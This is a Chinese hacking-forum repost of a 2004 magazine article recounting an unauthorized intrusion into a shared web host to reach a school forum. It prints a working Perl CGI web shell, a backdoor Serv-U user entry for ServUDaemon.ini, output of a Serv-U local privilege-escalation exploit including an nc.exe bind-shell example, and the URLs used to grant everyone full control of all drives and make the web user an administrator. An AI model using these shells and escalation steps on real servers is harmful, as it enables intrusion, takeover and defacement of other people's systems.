找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2108|回复: 0
打印 上一主题 下一主题

剑走偏锋——灵巧的旁注攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:11:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
剑走偏锋——灵巧的旁注攻击 ' p: }9 s9 {6 R/ L5 R7 [, E
本文作者:angel9 j0 g1 Y5 y* |3 ^
文章性质:原创6 o8 @! i. m, G- d9 X: s  B6 p
发布日期:2004-11-09 ( n% ^# L8 U  B  o8 @8 c! Y1 s
注意:
* O5 p# ~! D) o) X" k- k) j本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
' k5 D2 m; R, C$ q3 ]" c' `本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
7 R" y/ S1 g4 F  `$ j9 O! }
/ h, l- Q2 N& D% L' R: d  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
2 m# l- P$ W4 X2 g
5 ^, n* U: ]* J4 `7 P+ ~  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
% e% Y8 g$ Y0 a2 z3 b7 s! G! M3 t4 t% M$ j: l0 Y9 \
  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
( q7 E7 K5 ^; k: N$ \4 A) M( J, O5 M# j, T
  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
- f0 S* M7 F. A7 Z3 @6 P3 g$ L' |+ K5 K0 w$ y' x! f) I  [/ v5 _- d
  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
+ R2 T& V( U# m' s& D* g
8 F3 X+ I- g# q3 b" h  没有目的的跳转目录着……
2 c; j; N- K* M
/ i6 T& m: l2 |" k2 T8 B- G  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
) c# G1 r4 u( p& s0 Q7 U0 f3 e- U8 K  V2 P7 S
  结束了吗?不,我试着 FTP 一下:
+ O  H" R4 C- b/ g; a) D: P1 w  F  U- K* Y/ |1 O6 V- V0 Z; [1 C" F
Microsoft Windows 2000 [Version 5.00.2195]
. O+ R# `2 W$ a. g(C) 版权所有 1985-2000 Microsoft Corp. ( {9 f8 t$ k6 c& Q  ?, a! J8 t

0 \3 z7 i3 ~  p$ |& O8 PC:\Documents and Settings\Administrator>ftp www.school.com" V9 t4 Y' B4 j. j
Connected to www. school.com. " v7 D  @/ ^; T, \* L4 p+ ?
220 Welcome to FTP Server... , f" ~+ [: @  `  K5 ]+ G9 e
User (www.bjtrq.com:(none)): 9 w  b. Q. y' Z" N* R
331 User name okay, need password.
, r! z) @% {9 O) G) {( w) x" bPassword:
. b8 c- w, |+ c# W  d% w8 U530 Not logged in. # S! l* Z. Y$ n! G# s4 z
Login failed. 8 `! [$ j, ?& s9 ]5 u' a. i( P
ftp> bye   x0 \$ W% D( {6 ^9 g
221 Goodbye! : i2 ~( \+ r& `
) L7 W9 A/ R" ]! t3 x

/ ^9 D1 Q7 {, F% S$ a7 E. R  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
2 U: `4 w! ~5 i+ ]( U, |# x( w+ T, O
; V+ K) g$ f% t* R  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 - E4 C7 Z! x. ?* I3 X

1 I- |; v6 i: [. l5 ZApplication Data
2 Y* m- o# d& n" P: z$ e( iDocuments9 G( i& V) Z, v$ [3 _& Y9 }% `
DRM
! L# G3 V; L! o8 L( D$ jFavorites: |$ \2 r; P, C* p0 C8 d* N
Templates
) F9 C" {. ]& v3 E「开始」菜单- {0 F2 c4 h% O* f) W6 {, z( I
桌面
9 i- k' U8 y) ~$ u$ G9 _ ' q1 N1 d2 k4 X) n* O" V- C
' E% b; [7 a% S5 P1 L" d
  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
' Q8 }4 ?6 l' L8 P# n- D( T
7 Y0 Q( p- U5 s6 I3 N7 E0 OActiveState ActivePerl 5.8$ {, \  C/ p) Y) }+ u0 b4 a; [
Administrative Tools
0 M" t& F1 @# q/ T3 gDeerfield.com- _0 {/ O/ v/ P  y( _( q
DTemp2 Q3 W# G, \) k  @4 q
IPSentry
! N5 K) t2 I( H# W2 M  h; h8 RMBM 5
, \# Q$ r4 J# v7 d$ W" uNetMeter
$ y6 \1 g" o! Q9 U) l/ zNetwork ICE
$ ?) B8 T3 U; t* `7 k! v/ qPersits Software AspEmail
3 g* p" R/ f8 g5 i, m: @( OPersits Software AspJpeg
: I5 b' I- u' e( }3 x6 \( aServ-U FTP Server
. |7 F, K. y4 v* o2 ^) N3 ISymantec Client Security
6 a* j+ S' M  w" L. nWindows 优化大师( F+ `, [& Z" u1 B7 j. ]
WinRAR
. i. z& X9 Y8 M  L0 H3 d7 O2 {启动# N# R; Y: `7 i
管理工具/ _2 A2 [$ v+ q* ^
附件
4 ?. w4 @" ]2 C 4 S5 Q$ ]; ^, q( J: a" J
( {6 w/ _5 d4 k6 V1 U
  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 ; ^7 n% S. i' ~+ m, Q
+ i# W: T4 b- v& C5 j
  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
2 d) R2 L+ o4 h, w4 K
& |  m3 o3 Z. v8 [" V) t$ \  c! kUser281=angel|1|0 . f; ]' a7 A& _) @
- S; x2 l$ I0 Z! m9 ~; e5 B
7 k) }( I5 z, a0 K4 @
  然后加上
- l" Y0 F6 F0 m) B" F0 q
$ H2 Y# p) I# C: ?[USER=angel|1]6 _- c! Y, [4 P
Password=ng98F85379EA68DBF97BAADCA99B69B805
! c' u5 M8 A. k* B6 t5 ~HomeDir=D:\websites
& ?1 M7 T! c$ u" Z, m7 b/ S% JRelPaths=1
% ~& R; {, y7 {2 k! c. {: d' uTimeOut=600: y) p; v3 y# h: k2 e0 h
Maintenance=System
. [6 e! N/ K# M' l3 ?8 S2 w" H4 @" E; GAccess1=D:\websites|RWAMELCDP$ B' L% o: {- W6 n3 l0 v$ u
SKEYValues=
% q% N! {2 o' T. P. |$ Y  _" F  ` 4 H; V! F, N2 J( c4 P0 N0 k- A
& g0 N, Q! ]. R; f
  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… ; A2 A* U$ d  d, N3 Z. H
" h* D9 R2 _2 ?) h8 [# C
  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
" k/ I8 M2 d9 N; P, p+ Q2 j
' g( R5 Z/ g" X  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
* t5 S1 m1 O. C2 v5 `; r5 c! H
  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
/ v- N1 i" _7 U. W0 B8 |' Z. b/ P
( e; e7 A! Z0 }#!/usr/bin/perl1 R' h1 K0 ~* K% F4 k
binmode(STDOUT);$ k5 N! v7 d# z: q- y7 N. u8 C
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
- \# f9 e0 J; k8 }$_ = $ENV{QUERY_STRING};+ I$ h1 O& ?6 |% x9 t
s/%20/ /ig;8 C9 R% c, ^( v/ {/ |: d
s/%2f/\//ig;& I6 }; c5 Z( q, k
$execthis = $_;$ o( m- C, c6 N  M+ K# J* a! P. I9 {
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
$ @6 C; \! \1 M  W( g" I" |9 A+ yopen(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
! K. p+ c  j2 F4 xsystem($execthis);
" V  J/ o4 t# i, @! A6 U) C3 jsyswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
9 [7 T- _6 R* T1 _; M2 dclose(STDERR);1 s; {2 h) v) A! D+ I. E$ q7 ~7 P
close(STDOUT);
: ~6 n3 X5 {. n2 P7 h4 lexit;& Y1 C9 T& o0 ?( S. ^! s5 g
7 @; m7 a3 o0 }, Y

; A! x+ [1 d2 F& `3 B0 N( Q  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
# }" p0 N$ Z% K) G6 }1 C+ l8 m! l4 d$ P7 I, y" T8 u0 ]
  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
; M* Y: o$ S4 @  X' ?; |1 Q* O7 l0 R2 U/ F4 ~. W4 w* E
http://anyhost//cmd.pl?d:\user\bin\su.exe 6 v4 K8 M! \( W  X- ?' c

, ~# t$ d: H6 T% E! Y
" ?* b' I- @$ I7 D0 P# a1 V* h( F  返回:
# \6 G; e% s5 L5 n
; i5 N- x' Z" V( q4 u, N) |Serv-u >3.x Local Exploit by xiaolu % S1 h0 l6 L, T) L# A4 {

6 {: H  e- j4 K; A3 n, OUSAGE: serv-u.exe "command"
7 C9 c# Z: W- m. ~* r
: ~  i0 ?! M$ i% E/ a, @) mExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
) Q! C. n. C# T1 ?+ ]6 `& K. w# V 0 O- d' R* _4 {" F9 a3 ]$ }5 P2 l0 j
- Q  u9 S9 |7 q5 G
  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: * {9 |) J. Y' j% @5 |2 F/ B( u- {: o2 `
  T6 a8 x; q- j% x/ _" E! P) E" P
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" * h. Q7 {6 V, m' @" A

: B: S, w$ T) r9 S' P, ]0 qhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" + b0 Q7 o2 z8 D! @+ y# z1 N  I2 G
1 d, m0 f" r& m5 P8 q( [3 X0 @
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
( t3 h2 n3 u. H# c# l6 \! M' o/ i% E/ E% H
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" 9 B$ k1 Z' |" k* H' m1 N
+ g, w( I; @1 C4 U) j; ~2 S
- l6 @4 V9 N6 A7 {
  返回下面的信息,就表示成功了!!!
/ e3 J4 H+ w: Z  P8 K3 E  d" F( B8 o5 J* I2 M
Serv-u >3.x Local Exploit by xiaolu
  Y' v2 A& ~* W# H* ?" k/ l4 V
, C" }! r- G7 c0 z* b- o  V<220 Serv-U FTP Server v5.2 for WinSock ready... 0 D* `, d8 w! U$ m
7 @" b9 s; _* o% R% }9 l6 e5 C
>USER LocalAdministrator
: I1 V: k) C2 Z# T8 f# }% D& b
7 p' |% u4 ~% p3 L7 X<331 User name okay, need password. 4 q7 O$ q+ y' \

! x4 V' i* r1 m  [******************************************************
% x3 X* _. f! T1 E( w/ {( k( e0 E
7 B( O) i& Q' g; J+ j>PASS #l@$ak#.lk;0@P
. U1 X3 b7 F# b; K) {; q
& e" y1 E$ m2 G<230 User logged in, proceed. 7 [7 r' d; d6 n) d! ~

* u( V, b* C( h5 i: q******************************************************
1 B% n' V5 u( X7 p, C' ~7 q
4 r: t1 \4 H: T) v" N>SITE MAINTENANCE % ~; U  c5 f* a4 [
5 d) J3 c' a" F1 I/ G6 L
******************************************************   ~6 h) E0 e+ u. Q3 X8 t* b# X

" [8 ^% O. x& n& o$ {8 a) B[+] Creating New Domain...
2 m' u+ }. l. O, P( q: A4 M
; m  _& [) N' C% F' ]7 y& H<200-DomainID=2
6 d# o$ Z; M8 g9 y+ o1 r6 P+ D# E3 ]5 i0 M! w* y+ y5 [
<220 Domain settings saved " o$ F- o3 Y* m" w* s8 h& h: ]
8 y, v: A, B/ _5 W" i- t
****************************************************** ) }# e1 j2 S5 L: G, o7 q- d! f5 P

' k, ]* D  i9 V% @& c8 P+ y! p[+] Domain xl:2 Created 6 V7 G$ J7 B! {+ m, g* q0 t

. Q+ ]; W! u' ?. w[+] Creating Evil User % H5 V3 W7 R! ~) b
9 }0 v' |2 `+ r: F% B
<200-User=xl , a# O7 k  u- x9 C

1 p( d' u3 `: K% C200 User settings saved . K2 K7 L8 ~3 Y4 I8 F+ U" N9 }
' p$ R% w- P. e6 O/ [1 f
******************************************************   E: X( D4 a/ d# s5 i
6 f. O" Y- E7 Z+ x. I5 N9 `
[+] Now Exploiting...
7 |. Y0 Y5 S7 y4 h0 G* S9 {: H; {  u0 C3 m! ?& q2 X( R, e5 ^
>USER xl , a7 z! ?' P( Q2 c: U1 o" k5 H6 S. M

* o( p1 w' b: X<331 User name okay, need password.
' v. |2 E' a6 Q) k& l. _0 W" G5 ^
****************************************************** % w8 A. @- S0 e7 ^3 N" B; O3 \
0 w. M7 p8 \4 B5 N5 ~9 e0 U
>PASS 111111 7 `; U7 d. `( r

! R( M; t0 F* P4 H<230 User logged in, proceed. " _" r# d4 B* `3 J. e; C& N
5 G2 f" n  F) I9 S" q
******************************************************
2 d$ H; M+ W* q1 b) H" M& B$ i' D: N# m! h0 {- R
[+] Now Executing: cacls.exe c: /E /T /G everyone:F
; }* f/ R0 V& r; L. n) c: g, b& I" @. z% N9 p
<220 Domain deleted 8 {. I% a( A7 d, q* Y. y

7 e! j0 }* M) ^7 M( P5 L, j****************************************************** $ t- e% Y- r7 l$ }/ c; K
( }8 n0 [! Q" S/ V+ `/ f' }
( I. G0 X$ C8 {* H5 ^
  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员: + G% ?* I, o6 d" ?. O8 a% [: [
' b7 _: x' ]0 Z
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
* O! r! w* f" Y/ L& _
9 b3 I. _6 f! ^! B( ~$ J, G  \4 Z
. A* V' N4 Z% D, K/ o  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
. @7 f  e$ A; B# L& M# f7 M8 O
8 z2 u- L% O" Z: j  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
5 q) w+ G; ~* }+ e+ t! W9 n
8 _# t7 c. N% l7 N' C, }  
. k, N' b" [' n
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表